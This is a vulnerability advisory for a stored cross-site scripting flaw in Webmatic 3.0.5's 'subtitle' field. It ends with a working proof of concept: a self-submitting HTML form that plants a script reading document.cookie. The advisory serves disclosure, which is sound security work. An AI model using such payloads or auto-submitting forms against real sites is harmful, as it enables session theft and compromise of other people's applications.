XSS vulnerability in Webmatic

Vulnerability ID: HTB22569
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_webmatic_1.html
Product: Webmatic
Vendor: Valarsoft ( http://www.valarsoft.com/ )
Vulnerable Version: 3.0.5 and Probably Prior Versions
Vendor Notification: 09 August 2010
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the page editing script to properly sanitize user-supplied input in "subtitle" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/index.php&quot; method="post" name="main" >
<input type="hidden" name="title" value="pagetest" />
<input type="hidden" name="subtitle" value='some subtitle and"><script>alert(document.cookie)</script>' />
<input type="hidden" name="enabled" value="1" />
<input type="hidden" name="categoryID" value="1" />
<input type="hidden" name="page_type" value="1" />
<input type="hidden" name="visibility" value="1" />
<input type="hidden" name="groupID" value="1" />
<input type="hidden" name="backID" value="0" />
<input type="hidden" name="left_panels_enabled" value="1" />
<input type="hidden" name="right_panels_enabled" value="1" />
<input type="hidden" name="render_mode" value="2" />
<input type="hidden" name="head" value="" />
<input type="hidden" name="body" value="" />
<input type="hidden" name="hr_width" value="100" />
<input type="hidden" name="hr_size" value="1" />
<input type="hidden" name="hr_align" value="0" />
<input type="hidden" name="img_picture" value="1.gif" />
<input type="hidden" name="img_border" value="0" />
<input type="hidden" name="a_link" value="1" />
<input type="hidden" name="a_url" value="" />
<input type="hidden" name="a_text" value="" />
<input type="hidden" name="foot" value="" />
<input type="hidden" name="send" value="Save" />
<input type="hidden" name="stage" value="2" />
<input type="hidden" name="section" value="14" />
<input type="hidden" name="action" value="216" />
<input type="hidden" name="pageID" value="2" />
</form>
<script>
document.main.submit();
</script>